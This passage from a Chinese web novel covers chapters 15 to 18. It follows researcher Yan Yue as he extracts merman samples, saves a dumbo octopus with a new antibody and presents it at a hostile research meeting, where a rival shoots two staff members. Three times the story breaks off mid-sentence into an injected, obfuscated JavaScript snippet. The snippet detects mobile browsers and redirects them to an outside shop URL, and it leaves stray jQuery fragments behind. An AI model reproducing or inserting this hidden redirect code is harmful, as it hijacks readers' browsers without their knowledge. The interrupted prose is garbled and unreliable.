在他睁开双眼时,近在咫尺的蔚蓝色瞳仁陡然撞进了视线中。 “!你...” 晏越吓了一跳,偏头看到地板延伸出来的一串湿腻的水迹。 赫瑞斯似乎早就醒来,没有做任何事只是从培养皿中爬出来,看着他。 它遍布黑色烙印的鱼尾将精壮的身躯制成起来,形成一个偌大的阴影将角落的人类笼罩。 耳边的联络器终于重新发挥作用,谈寺的声音焦急无比。 “学长,你能听到吗?出了点问题,因为活跃因子的重组再生,它的成熟期被迫提前了。” 晏越注意到赫瑞斯的耳鳍颜色更深,那张具有诱惑力的脸彻底脱去了最后那点稚嫩与青涩,五官更为锋利,像古希腊神话中的神明。 可那双蔚蓝色的竖瞳没有丝毫神明的怜悯与神性,只有阴沉与邪狞。 15. 第 15 章 就在晏越飞快思考该如何解决赫瑞斯苏醒并提前进入成熟期的问题时,面前的巨大身躯陡然坍塌下来,重重砸在一边。 似乎是睡了过去。 “学长?学长?” 声音断断续续传来,谈寺捏紧了联络器,手心全是汗。 半晌,在听到联络器中传来晏越沙哑的声音后终于松了口气。 “没事”,晏越说。 晏越检查了一番自己的手臂,没有针孔。 他确信自己注射药剂时失败了。 机械表里显示他的生命体征在十分钟前迅速衰退,然后持续在某点波动,最终归于平缓。 冻得发白的手指有些停顿,晏越神色不定,踉跄着起身过去捏着人鱼的下巴。 人鱼的肌肤滑腻,带着残存的温度从他的指尖传来。 它紧闭双眸,鱼尾微勾着,金色的鳞片因镀了层白霜而发亮,砂金色的发散在那张惊为天人的脸旁,因为低温,发丝已经结了霜,连浅色的睫毛上也凝上了冰。 晏越甚至感觉自己捏破了一层冰霜。 他迅速取走人鱼的唾液,抽了它三管血又拽下几个鳞片,反复打量并确信暂时没有其他东西可供带走后才作罢。 在拉开门前,晏越握住门把手深吸了一口气。 冰冷刺骨的空气挤进胸腔,强势的驱散席卷而来的倦意,他确保自己此时不会被任何人看出问题后,这才走了出去。 格雷西看到他出来连忙把东西接过来: “上帝保佑,教授你终于出来了,刚才你失联了足足十分钟零三十八秒!谈寺都在准备黑系统了!” 十分半? 晏越的注意力并没有在自己昏迷这件事上,反而意识到一个问题。 麻醉剂的量可以撑一个小时,但赫瑞斯只用了十分半就苏醒了。 它进化的速度超过了他的预期。 格雷西看晏越在听到后便陷入沉思以为是出了什么问题,连忙探头看向观察室。 那扇门被关的严实,他能看到的只有漆黑的门。 “教授?” 在格雷西的呼唤声中,晏越回过神来,“没事,当时下水嫌麻烦没戴联络器。” 一旁的谈寺从他出来后就保持着沉默的状态,扫了一眼腕上安静的机械表,抬头便跟那双平静的眸子对上了视线。 “学长。”他叫了一声。 “嗯,准备实验品吧。”晏越说。 晏越没多说,谈寺也保持默契不再多问,仿佛就是他说的那样,下水嫌麻烦没戴联络器所以失联了。 ... 拿到了样本,接下来的几天内晏越基本只睡两个小时,甚至干脆睡在了研究室里的折叠床上。 格雷西看到晏越如此高强度的工作效率,不由得感叹: “我以为我睡五个小时已经很努力了,没想到教授更是离谱,要是教授哪天带领人类进化了,第一个进化掉的就是睡眠。” 在他第三天打着哈欠看到实验室的人影后,惊恐地看向谈寺:“今天也不休息?” 谈寺摇摇头,继续检查装有实验品的箱子,确认无误后送进了实验室。 晏越在几天之内迅速消瘦下来,连白大褂都穿出了大衣的感觉。 他带着手套打开保温箱,随手抓了一只出来。 所谓的实验品是各类缠打在一起的章鱼,乍一看没什么区别,只有一只烟灰蛸比较特别。 因为它并没有跟别的章鱼互殴,反而是缩在角落用几根短小的腕足拼尽全力的抱住自己圆滚滚的脑袋。 谈寺把一旁的数不清第几箱的失败品推出去,恶臭即便是口罩也无法阻挡。 晏越机械且麻木地给每只章鱼注射试剂,手腕被腕足勒的通红。 在这几天内,每一只接受试剂的海底生物无一例外,都是爆体而亡,最好的结果也不过是多撑几分钟。 这远远达不到目标。 他捞起那只乳白色的烟灰蛸,烟灰蛸并没有勒他的手指,反而战战巍巍的抱住了。 当试剂被注入后,烟灰蛸抖了抖从他的手中滑了下去。 各种颜色花纹的章鱼进化出黑色的纹路,它们融化又融合在一起,复又融化,柔软的触手像菌丝般迅速剥落分裂又长出来。 最后只用了十分钟,就变成了一滩黑色不明物体,和方才推出去的东西一模一样。 又失败了。 晏越晃动酸痛的脖颈,把手套摘下来进行记录调整,并将那滩黑色不明物体倒入处理箱里等谈寺进来收走。 就在这时,那滩黑水抖了一下,像是担心他看不到似得又抖了一下证明。 青年毫不犹豫丢下笔,精准找到里面那个“动”的东西捞了出来。 是那只烟灰蛸。 烟灰蛸并没有跟它们融为一体,仍是完整的,此时正用短短的腕足将自己团起来。 乳白色的外表爬上了细细的黑色纹路,像水洗过的石头带着独特的花纹。 饶是晏越也微怔当场,经历这么多次试验撑到最后的是只有巴掌大烟灰蛸。 当他把它从腥臭的保温箱里捞出来时它的生命迹象已经不太明显了。 他一扫之前的麻木与疲惫,猛地看向计时器。 计时器的数字跳到了12,烟灰蛸开始在他的手中融化,粉色的小耳朵也垂在一边。 他拿出唯一的特制抗体注射进烟灰蛸体内,手稳稳的端着。 这管抗体只做了一份,非常难复刻,可他还是没有丝毫犹豫地将抗体打给了烟灰蛸。 瘫软的烟灰蛸在接受抗体后重新凝固起来,黑色的纹路逐渐淡化,最终在乳白色的表面形成了一些淡灰色的斑痕。 晏越捧着微微呼吸的烟灰蛸,缓了好久向外面叫:“谈寺!格雷西!” 屋外的人听到声音马上冲了进来,格雷西因为着急摔了一跤,手脚并用地爬起来赶过去时把实验室的门重重撞到了墙壁上。 “怎么了?” “什么东西,出什么事了?” 瘦削俊朗的青年双手捧着一只从污水中捞出来的烟灰蛸看着他们,白大褂沾上了黑色的污水,似乎连镜框上都沾着点灰。 但他这般洁癖的人却漏出了这几天唯一一个笑容,声音也不由自主放轻了些。 “看,这只烟灰蛸活下来了。” 格雷西有点无法接受,搓了搓眼睛确保自己没有看错,指着那只圆滚滚且抱住晏越手指的烟灰蛸。 “...啊?烟灰蛸?” 说实话这几天不知道晏越和谈寺怎么想的,他是有点绝望了。 连鲸鲨都无法成功,他实在想象不出还有什么生物可以成功跟新型抗体融合了。 但现在成功了,是一个没有任何攻击性的烟灰蛸。 而且他现在盯着那个抱着晏越手指的烟灰蛸有种诡异的感觉。 怎么能从一只烟灰蛸的动作里看出来眷恋的感觉? 就在格雷西想要上前确认时,烟灰蛸突然张牙舞爪起来,挥舞着短小的腕足,似乎是在驱逐他。 格雷西感觉自己可能是熬夜熬出幻觉了,“我今天绝对要睡够八个小时。” 一旁的谈寺从进来便陷入了沉默,他长久的看着烟灰蛸,但好像也在看晏越。 半晌突然轻轻哼一下笑出来,然后越笑越大声。 格雷西起初以为谈寺是累疯了,可意识到他们突破了什么后从那种虚幻感回到现实,也开始大笑。 两个人的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13954822|147788||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑声越来越大,格雷西笑着笑着声音哽咽了起来,仰头望着天花板不说话。 晏越站在那里捧着烟灰蛸,勾起嘴角看着他们。 谈寺还记得第一次见到晏越是在学校的医务室里。 他一眼就认出来闭目养神正挂吊瓶的晏越,就是那个名声很大的“天才”。 几个月前,那人还在大会上作为学生代表发言。 他本来就白,肌肤在阳光的照射下蒙上了一层朦胧又温柔的金色。 医师一直在旁边嘀咕他,说他年纪轻轻身体这么差,要注意保养身体。 他敛着眸,敷衍地嗯嗯了几句,完全没听进去,俊朗的眉宇间是藏不住的意气风发。 谈寺那个时候就知道自己恐怕完了,他选择了一个永远无法触碰到的背影。 可谁年少时不会被惊艳的人吸引呢。 后来身边数不清的人说晏越是天才又是关系户,抬抬手张张嘴就是他们达不到的高度。 彼时年轻气盛,他没少跟这些人打架,甚至有一次舞到了晏越面前。 晏越听后从实验器材里抬起头对他说:“谢谢你啊同学,但下次别为了这种事费心了,我不在乎。” 他破了皮的额角被尽数藏着发下,那一刻就觉得全都值得了。 他是神赐的瑰宝,无情又多情。 这样的人只需要远远看着就够了。 烟灰蛸被晏越放进干净的大水缸中,短短的腕足挠了挠玻璃后便欢快地打着转游走了。 他让谈寺和格雷西两个人都去休息一天,回去洗了个清爽的澡,将新式抗体的数据和成分全部传送给了远在帝国的老师奥凯西。 中指敲下回车键后,他抽出了一旁装有黑匣子的抽屉,在自己的胳膊上打了一针药剂。 ... “教授,来邮件了。”助手巴塞轻手轻脚叫醒午睡的奥凯西。 奥凯西午睡的时间越来越长也越来越沉,巴塞叫了他许多声。 缓缓醒过来的奥凯西在巴塞的帮助下打开电脑快速看了一下,接过递来的药平静地说:“他降低了抗体的门槛。” 巴塞略略瞪大眼睛激动的说:“上帝,这简直太不可思议了,应该快点跟研究院那边上报!” 做出数据后就传送给奥凯西作为留底,这是晏越一直坚持的习惯。 “唉,那孩子总是这样,做出东西后第一时间不是上报,而是给您留存,或许是吃了他父母骤然离世导致‘复生’计划资料全部流失的苦吧。” 巴塞叹了口气。 这何尝不是一种托付,只可惜他年纪轻轻却早就做好了准备。 奥凯西默不作声地将那份邮件彻底删除,缓慢合上了电脑。 巴塞不太懂奥凯西这是什么意思,“教授?” 头发花白的奥凯西推着轮椅离开了办公桌前嘱托:“今天的事不要说出去,就当没看到过这份邮件。” 巴塞愣住了,问“为什么呢”,但话说出来后似乎又明白了什么不再追问。 奥凯西叹了口气,没说话。 太过耀眼的星星天然会吸引黑暗里的东西,它们肮脏又恶心,像潮水般涌来吞没一切。 时机未到,他只能用这种方式暂时委屈晏越,希望晏越不会怪他。 “那...就这么算了吗?这实在是太可惜了。”巴塞遗憾的说。 “他知道后不会怪您吗?” 奥凯西将窗帘打开重新躺回去,可惜外面高耸的机械壁下没有太阳,有的只有人工日照光。 亮的,也是凉的。 他恍惚间看到两个模糊却又熟悉的身影,在迷迷瞪瞪中呢喃了一句。 巴塞没太听清,刚靠近奥凯西身边却什么都没听到了。 16. 第 16 章 放假的第一天,格雷西毫不犹豫拽着谈寺去了忒亚的酒吧,说什么都要放纵一下。 他喝下了第三杯果酒后还在嘿嘿傻笑,看着谈寺面前的杯子瘪瘪嘴,“我说你们应该放纵一下自己,老这么憋着也不好,你一个教授一个,天天泡在实验室里。” “哎太厉害了,没想到这种事居然能在我眼前发生,这明天开会不得吓死他们!” “什么破忒亚研究室,我要让他们以后看见咱们都低着头走!那几个骂我是废物的我都记住了,一个都别想跑!” 谈寺淡淡地“嗯”了一句,但格雷西能看出来谈寺也很高兴,滔滔不绝。 “教授说是我们大家的功劳,他还夸我了呢!嘿嘿!” “嗯。” 格雷西打了个酒嗝:“咱们就算连失败品都比他们的有价值,我就看不惯那些人,背后骂我们浪费资源,这人鱼给他们也研究不出什么东西啊!” “不过教授说那些失败品都是垃圾,总感觉好可惜,那可是新抗体的试验品啊。” 谈寺说:“留着也没用。” 格雷西不满反驳:“什么没用,我要是忒亚的人把垃圾偷走也能发现点东西出来啊!” 看谈寺笑了一下,格雷西问:“你笑什么?” “学长把基因链损毁了,失败品只能提取到污染物的基因链。” 格雷西当场愣住,反应过来后竖起拇指,“不愧是教授!那现在只等明天的会议了,我倒要看看阿道夫能拿什么东西出来!” ... 忒亚的会议室并不明亮,因为布拉德利的恶趣味,这里更像是帝国审判庭,压抑又昏暗。 研究人员们纷纷入座聚在一起小声讨论,跟一旁安静整理材料的晏越和谈寺二人比有些突兀。 一个拉丁裔学者清清嗓子,凑到他们面前眼珠一直扫向桌子,但被谈寺不着痕迹挡住了视线,什么都没看到。 为了掩饰尴尬,他只好笑哈哈地问:“你们的研究还成功吗?” 没人理他。 被无视的人异常尴尬,身旁的人看到后大声嘲笑并调侃。 “嘿!别打扰我们的天才了,万一你把他们得之不易的灵感给吓跑了怎么办,可别把我们一把年纪的奥凯西教授气出病来!” 话音刚落,会议室传来此起彼伏的笑声。 有些人低声骂他们,但这些声音很快就被淹没了。 “装什么呢,这里是忒亚不是帝国!” “就是,没人比我们更懂研究人鱼和抗体,就算是帝国拿到的也是我们忒亚抓的人鱼!” “帝国研究院又怎样!” 谈寺脾气急,指着一个人骂了一句,那人被骂的哑口无言,就在他还想继续时晏越把他按下了。 “先准备材料。” 谈寺深吸一口气,冷冷地扫了他们一眼,打开机械屏。 晏越走到机械屏前刚说出一句“今天给各位展示的并非突破九分五十四秒极限的药剂。” 下面便有几个唏嘘声,四面八方传来的恶意和失望的眼神让角落的特温如痴如醉。 “拉斐尔教授很开心?” 特温说:“我最喜欢看天才陨落的戏码,把实时同屏传输打开,我要让帝国所有人都知道他们捧着的天才不过是个草包!” 晏越并没有被那些声音打扰,平静地继续说:“相信各位都坚信未成熟的人鱼不具备制作抗体的资格,但今天我将会证明这个结论的错误。” 机械屏缓缓播放一个片段。 一只烟灰蛸被注射感染病毒后即将病变时,晏越将抗体打了进去。 会议室有一半的人盯着机械屏,眼神中带着期望。 可机械屏中的烟灰蛸逐渐融化成一滩污水,旁边的计时器上显示连五分钟都没到。 期望的眼神陆续消失,只有一小部分的人仍然愿意相信晏越。 会议室发出几声扫兴的声音,晏越没什么表情继续播放下一段视频。 晏越又注射了另一种抗体。 那些不解的眼神变为失望、嘲笑、愤怒。 晏越的行为在他们眼里就是瞎胡闹,给一个抗体融合失败的实验品继续注入抗体,这简直是浪费! 甚至有人已经看不下去提前离场了。 但奇迹往往总在不经意间出现,融化成一滩污水的烟灰蛸缓慢的凝固了起来。 速度非常慢,这段视频是经过了加速处理,实际上这个过程慢到肉眼几乎无法看出来。 整个会议室只剩一个仍不死心盯着屏幕的,此时真真切切看到了这个变化,他大叫一声蹿起来,指着屏幕兴奋地喊: “看!看屏幕!!” 所有人被声音吸引过去,纷纷看向屏幕。 有几个连一只脚都踏出门外的人听到类似于“成了成了”的声音后不可置信猛地扭头。 聚集在会议室的人类,聚精会神地观看一只烟灰蛸从一滩黑水重新凝结复活。 这段视频播放完毕后,会议室里的人都还没从刚才的视频中缓过神来。 似乎被它向死而生的勇气震撼,也似乎被人类的进步而震撼。 晏越率先打破了寂静:“第二次注射的抗体是从人鱼血液中提取出来的,它比以往所有的抗体更具有普适性也更强。” 他们的眼睛从屏幕中拔出来,见鬼般的看向晏越。 青年冷静的嗓音引燃了他们对学术的欲望,起初并不看好他的人也被彻底折服。 在场的人单拎出去都是佼佼者,他们会被同类吸引,会向着真理不断前行。 可就在真理的进步陷入沉寂时,契机出现了。 没人知道晏越是怎么做到的,像凭空生出来一样诡异。 特温的嘴角扯出一个极为难看的角度,不可置信地盯着屏幕,因为他知道那条人鱼已经被感染了。 这个意思是晏越不仅救回了这只人鱼,还用这只尚未成年的人鱼做出了更强的抗体? 这简直就是天方夜谭! 他猛地想起来旁边还有实时同屏传输,连忙让助手赶紧关闭。 但为时已晚,这场会议将会被永久记录下来。 一位年轻的亚裔学者,研究制作出了普适性更强的抗体。 “这份抗体的资料我已经传给了帝国研究院,接下来我会对忒亚在座的各位公开数据。” 有人觉得晏越疯了,他完全可以拿着这份资料回到帝国接受荣誉。 多少人趋之若鹜的荣誉啊,他就这么轻松简单地公开了? 啊?都不要了? 有人以为晏越在说胡话,“你真的要公布?你可想好了,有了数据,抗体被复刻出来是迟早的事。” 晏越依旧平静,好像卷起这场风波的人并不是他,而他只是一个旁观者罢了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13984736|147788||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “人类的未来从来不是在一个人手中,是在所有人的手中。” “各位,接下来的路还需要我们一起走。” “但我有一个条件。”晏越又说。 有些人早就等不及了,迫不及待问他是什么。还有人马上变了脸,说他也是趋利之人,只不过嘴上说说而已。 晏越面无表情说:“刚才说过奥凯西教授的人,没有这个资格。” 哄闹的会议室有人青红着脸,惭愧的、恼羞成怒的,换做是从前肯定是要甩手就走的,但那资料就摆在面前,试问谁能忍得住。 “当然,如果你们公开向奥凯西教授道歉并发誓永远尊重奥凯西教授,那便重新拥有资格。” 语毕,他微微勾起唇角,声音很轻又带着些孤傲。 “选吧,各位。” 年轻的亚裔教授迅速用一种独属于他的狂傲让无礼之人被打了脸。 可偏偏只有晏越,这种事出现在他身上,才会让人感觉是合理的。 会议室安静几秒后爆发出巨大的哄闹声。 有人大声嘲笑也有人因为不肯服软而大怒,但很快第一个道歉的人出现了,犹豫的人也跟着涨红了脸道歉。 特温的助手未曾料到会有这种场面,顿时不知所措起来:“怎么办?他们知道以后肯定会发疯的!” 特温咬着牙,瞪了他一眼:“还不赶紧关了!” 那些人并不知道实时同屏传输已经将他们的一举一动全部传回了帝国,因为在他们扑向面前争抢资料时,同屏传输已经关闭了。 莫里就坐在一边,翘着腿看着这一幕。 从霍尔的视角可以看到他那双漂亮的褐色眼睛正一眨不眨地盯着那位年轻的亚裔教授,眼中溢出浓厚的兴趣。 一片喜意的会议室中只有特温沉着脸,还有一个目眦欲裂的阿道夫。 “这不可能...这不可能!” 阿道夫低吼着冲出了会议室,但没人关注一个不值一提的人的举动。 他想到自己即将面临的结局,人便彻底疯狂起来,冲到处理失败品的房间一把拉开门,力气之大,吓得里面两个工作人员差点跳起来。 “有...有事吗?” 阿道夫像一匹穷凶恶极的鬣狗,阴森地盯着那两个人:“晏越的那些失败品呢?” 两个人相视一眼,面露难色:“根据规定,实验的失败品需要销毁,你要是...” 话说到一半就被举起枪的阿道夫打断,他又一字一句重复问:“我问,东西呢?” “这...得问问晏越教授能不能..” “砰!” 枪声响起,一个工作人员应声倒下。 “不要逼我!!” 阿道夫双目通红,怒吼着就要开下一枪。 工作人员惊恐地指着某个尚未处理完的箱子,“在在在那里,不要杀我不要杀我!” 得逞的阿道夫狠狠地瞪了他一眼,费劲拖动着箱子离开。 就在工作人员看到他走出这扇门而松了口气时,阿道夫突然止住了脚步,回头毫不犹豫地击穿了剩下那人的前额。 他将两具尸体塞进巨大的处理箱中,看着那尸体跟废弃污染物一起被搅碎,融合成一滩烂泥。 做完这些事情的阿道夫出奇的冷静,在确保短时间内不会漏出破绽后才拖着那箱失败的实验品离开处理室。 17. 第 17 章 拖着箱子一脸阴沉的阿道夫拖着箱子恰巧碰到了散会的研究学者们。 有人想跟他打招呼,但无一例外都被他阴沉的视线逼退,甚至在他身边天然形成了一个障壁。 特温捂着鼻子看着面前挡路的人,“你这弄的什么东西这么臭,你是失心疯了吗?” 话音刚落周围响起此起彼伏的低笑声。 阿道夫对周围人的嘲笑无动于衷,眼神中闪烁着恶毒的光芒,“你动了我的报告。” 特温翻了个白眼,“别平白污蔑我,那报告是你拿过来给我签字的,不然你以为凭你自己一个人就能上交?” 阿道夫怒目而视,声音不可控地提高起来,“你擅自修改了我的报告,让活性实验的数值不匹报告,你这阴险的小人!!” 走在后面的研究人员听到阿道夫的怒吼声都纷纷放慢脚步,虽然没凑到面前,可都竖起耳朵等着听八卦。 众所周知,特温在忒亚研究所实际上拥有最高的管理权,这是舰长布拉德利少校给予的特权,因此没人敢惹特温。 毕竟跟他作对就是跟布拉德利作对,谁会想一次拥有两个敌人呢? 特温的脸逐渐沉下来,旁边的助手看到他即将发脾气,立马驳斥阿道夫: “你这该死的白眼狼,如果不是拉斐尔教授,你以为你凭什么能留在忒亚?” “你已经有过一次重大的实验失败,理应接受审判回到帝国,是拉斐尔教授跟舰长求情才让你留在忒亚的!” “更何况你每次的报告都给拉斐尔教授签字,偏偏这次失败着急了才想起来找教授,以前那些顺利的从没见过你感谢他!” 助手的话一石激起千层浪,那些本来有些怀疑的人开始转变了风向,对助手的话深信不疑。 阿道夫气的发抖,四面八方投来的视线让他几乎想当场发作。 “你竟然敢这么说?你都忘了当时是你们一意孤行,导致药剂活性丧失?” 可已经没人相信他了。 特温的脸色逐渐缓和下来,趾高气扬又怜悯地看向他: “阿道夫,这次失败了不要紧,回帝国以后好好努力也是有机会回来的。” 但他们绝大多数人知道,阿道夫回不来了。 人鱼实验是保密进行的,况且忒亚研究所和帝国研究所向来不和。 阿道夫回到帝国又没有依靠,只会变成垫脚石,帝国更不会放他回忒亚。 “算了吧,阿道夫。” “对啊,你的时间期限也要到了,再说了你不是已经获得了不少荣誉成果了吗?” “虽然有些是跟拉斐尔教授一起做的。”有个人在旁边小声提醒。 阿道夫瞪着那个人像被激怒的毒蛇,怒吼着:“那是我自己做的!” 被吼的人此时相信阿道夫是失去理智开始胡乱说话了,那个疯狂模样实在恐怖,于是只能顺着他说:“嗯嗯好好。” “你不信?”阿道夫逼问,猛地转头看向另一个人。 那个人移开了视线,看第二个第三个人也是如此。 他眼中满是不可置信,指着特温的方向甚至有些发抖。 “你们都不信?难道你们就相信特温·拉斐尔这个草包能做出来什么研究?” 没人回答他。 “他拉斐尔就是个该死的吸血虫,从前想要吸我的血,现在想要吸晏越的血!” “无耻、卑鄙、下流!” “他能留在这里不是因为他有多厉害,而是他跟布拉德利那见不得人的关系!” 话音刚落,他被猛地掐住了脖子,回头看到特温那张冰冷阴沉的脸,呼吸不顺却艰难地笑了出来。 “敢做不敢当?” 看戏的人倒吸一口凉气此时此刻恨不得当场失聪,纷纷疾步离开,权当自己什么都没听到。 特温和布拉德利这见不得人的关系,船上的人不是一点感觉都没有的,可是没有一个人敢说出来。 阿道夫这样的蠢货直接捅出来实在是太疯狂了。 特温冷笑几声不断收紧着手看着阿道夫涨红的脸,眼中闪过狠毒。 可就在阿道夫还想挣扎说什么时,他一反常态,突然松开了手。 阿道夫被顺势推倒在地,听到他说: “就算我把这个位置让给你又怎样,即便你手里还有人鱼难道你就能做出新抗体了吗?” “再给你这蠢货十年,你也没晏越十天的速度快。” “承认吧,你就是个废物。” 因为重新获得呼吸的阿道夫疯狂咳嗽着,耳边飘来特温轻飘飘的话,死死攥紧了拳头。 他感觉自己蒙受了巨大的羞辱,但可笑的是他无法反驳特温说的事实。 他没有晏越的天赋,没有特温的手段,他什么都没有。 所以注定像个皮球一样在这艘曾经热爱的船上被踢来踢去,沦落到成为众人的笑柄的地步。 “特温·拉斐尔,你最好记住你今天说的这些话,我的今天也会是你的明天。” 阿道夫不再跟他争执,像认定了什么,冷冷的看了他一眼,使劲拽了一下自己的衣领,拖着那个箱子在众人的注视下离开了。 而此时晏越和谈寺被一小簇人围着走出会议室,恰巧遇到了特温一行人。 那些兴奋着想要继续跟晏越谈论交流的人看到这个场面都纷纷找借口散开了。 “晏教授,有机会再聊啊,我想起来我的培养皿到时间该拿出来了。” “我也走了,但临走前还是得夸一句,你实在是太厉害了!” “以后体质较差的人也能接受抗体注射了。” 凯文凑在人群后面悄悄提醒晏越:“你最好还是别惹他,曾经有个跟拉斐尔作对的研究员在某个雷暴天‘不小心’坠海了,尸骨无存。” 晏越的情绪毫无波澜,平静地说:“我知道。” 凯文感受到了来自对面刺来的,绝非善意的眼神,连忙低下头嘟囔一句“我先走了”后迅速离开。 “凯文,走什么啊?不是挺喜欢凑热闹吗,站在那继续看呗。” 特温的声音凉凉响起,凯文无奈的立住脚。 凯文身边的人迅速散开,生怕惹火上身。 凯文本人在晏越不近不远的距离叹了口气,想着自己又要倒霉了。 “就喜欢凑到刚出成果的人面前,是想让人家带你吧。也不看看自己是什么水平,还有人家想不想带你,别热脸贴上冷屁股了。” 特温讽刺的话像针一样扎在凯文身上,凯文却像是早就习惯了一样没什么表情。 谈寺听到后脸色微变。 他在学生时代跟特温是同级,特温嘴下不留情说话很难听也是知道的,但没想到这个人来了忒亚以后竟有这种天翻地覆的变化。 “还不快点过来?!” 特温的声音陡然提高,尖锐刺耳,凯文无奈推了推鼻梁上的镜框,在与晏越错身时低声说了一句“抱歉”。 一只骨节分明的手虚挡在凯文面前,止住了凯文的前行。 特温的怒火在此刻被点燃,终于找到了一个发泄的理由,大声质问晏越。 “怎么,晏越,你不仅要抢走人鱼独享,现在连我的人都要抢?” 凯文疑惑地看向晏越,显然是没猜到晏越想要干什么。 青年不急不缓地开口:“拉斐尔,你真的是越来越来吵了,像未开化的猿人。” “你!” 晏越没给特温机会继续说那些尖酸刻薄的话,转而跟凯文说:“如果你不想留在忒亚研究室,可以考虑来我这里。” 此话一出,瞬间有人向凯文投去了羡慕的目光,连谈寺都有些意外。 这让特温更愤怒,一脚踹在最近的人身上。 凯文脸上又惊又喜,“真的吗?”但转念想到了什么,一张脸纠结在一起,“要不...还是算了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13997172|147788||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吧...” 有人觉得凯文是疯了才放弃晏越的邀请。 跟着晏越意味着走到了最接近成功的地方,这是多少人求之不得的机会,凯文居然放弃了。 晏越并没有什么表情,点了点头放下手,“嗯。” 看到凯文恋恋不舍地从他们面前挪走,谈寺忍不住拉了他一把,劝到: “你想清楚了吗,只有这一次选择的机会。” 凯文的笑比哭还难看,“我知道,谢谢,但我真的不能。” 谈寺扫了一眼特温,对面高傲的表情怎么看怎么让他心生厌烦,于是他不再劝凯文,“好吧。” 盯着凯文走回自己身边,特温像打架打赢了的狒狒疯狂炫耀。 “看吧,晏越,并不是所有人都迫不及待想要跟你一起,也不是所有人都看重你。” 青年还是那副淡淡的模样,没理他转身离开。 特温一拳打在棉花上浑身难受,大喊他的名字,“你跑什么?戳到你痛处了?” 谈寺怒不可遏让他闭嘴,晏越让谈寺不必理他,侧过身觑他。 “拉斐尔,与其在这像个跳梁小丑一样颐气指使,不如回去告诉你的亲哥哥不要再来骚扰我了,他已经连续四天给我发邮件让我救他了。” 晏越话说的很模糊,有些人投去好奇的眼神。 特温突然没了声音,脸色变得异常难看。 身边的凯文向他投去疑惑的目光,又回头看了一眼晏越,似乎在确认自己的选择是否正确。 这次直到走远,身后的特温都没再说一句话。 谈寺说:“那个凯文似乎有什么难言之隐。” 晏越将资料夹递给格雷西,“在这的有多少人不是身不由己,他有自己的选择,也得为自己的选择负责。” 格雷西竖起耳朵凑过来:“什么,发生了什么。” 但晏越正在换衣服,谈寺还在沉思,没人回答他。 想要八卦但失败了的格雷西突然想到更重要的事,憋着一个古怪的表情看着晏越。 在询问下模模糊糊地说:“对了,教授,人鱼闹脾气了。” “没喂东西?”一旁的谈寺问。 “不!不是!绝对不是,我喂了,任何环节我都确保完美,绝对没出问题,我强迫症发作,连凳子都摆对齐了,没出任何问题!” 格雷西的话像炮弹一样一连串打出来,表情却十分诡异。 谈寺不解:“那就没问题,人鱼本身就是性格古怪的物种,它们上一秒可以跟配偶恩爱下一秒就能跟配偶反目成仇互相撕咬。” “我知道。” 格雷西脸色不太好,看着晏越似乎有话想说,憋到最后只说:“算了,教授你进去看看吧。” 待晏越进了观察室,他还坐在凳子上愣神。 这怎么说? 这难道要说人鱼醒了以后陷入了一种极度狂躁不安的状态,用诡异的声音问他晏越呢。 那双眼睛跟他看到的书上画着的恶魔眼睛简直没有任何差别。 盯着人看时都阴森森的。 最可怕的不是人鱼会说话,人鱼能跟他沟通,这才是最恐怖的。 他吓得要死,告诉人鱼:教授不在。 但人鱼似乎非常不满这个答案,随手捏爆了一只游在面前挡住视线的水母,用一种空灵却又让人灵魂颤抖的声音再度说: “叫他...来...” 格雷西回想起来那个场景汗毛都竖起来了,疯狂搓自己的脑袋直到感觉头发快烧起来才能保持清醒。 他问:“谈寺,你说人鱼会对其他物种产生另类的感情吗?” 谈寺像看傻子一样关怀地看向他:“你会喜欢一只鲨鱼?还是一只海牛?” 他想了想血盆大口的鲨鱼以及硕大恐怖的海牛,坚定地摇了摇头。 喃喃道:“肯定是想多了,我今晚睡前要喝瓶热牛奶安神。” 18. 第 18 章 巴塞脚步匆匆面色沉重赶来,在奥凯西耳边说了什么。 半个小时后,穿戴整齐的奥凯西来到了高层会议室中。 研究院首席看到奥凯西后微微笑着示意,“你的学生的确是不可多得的天才,帝国让他接手‘复生’计划是很正确的选择。” “我知道。” 奥凯西只是淡淡点了头。 首席早就习惯了奥凯西这个态度,“陛下很欣赏他,允诺他完成‘复生’计划给予爵位加冕,你知道的,这是从未有过的荣誉。” 奥凯西抬起干枯的手摆手示意,“他不屑于这些。” “那也得看看他本人的意愿不是吗?”首席戴着单边镜框,笑起来时眼纹很深。 奥凯西不语沉默看着他。 座位上的人说:“陛下召见晏越即刻回程。” 安静几秒钟后,苍老的声音在偌大空旷的会议室中响起。 